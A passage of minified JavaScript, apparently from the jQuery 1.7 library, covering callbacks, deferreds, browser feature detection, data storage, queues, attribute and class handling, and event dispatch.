d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
3 a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete 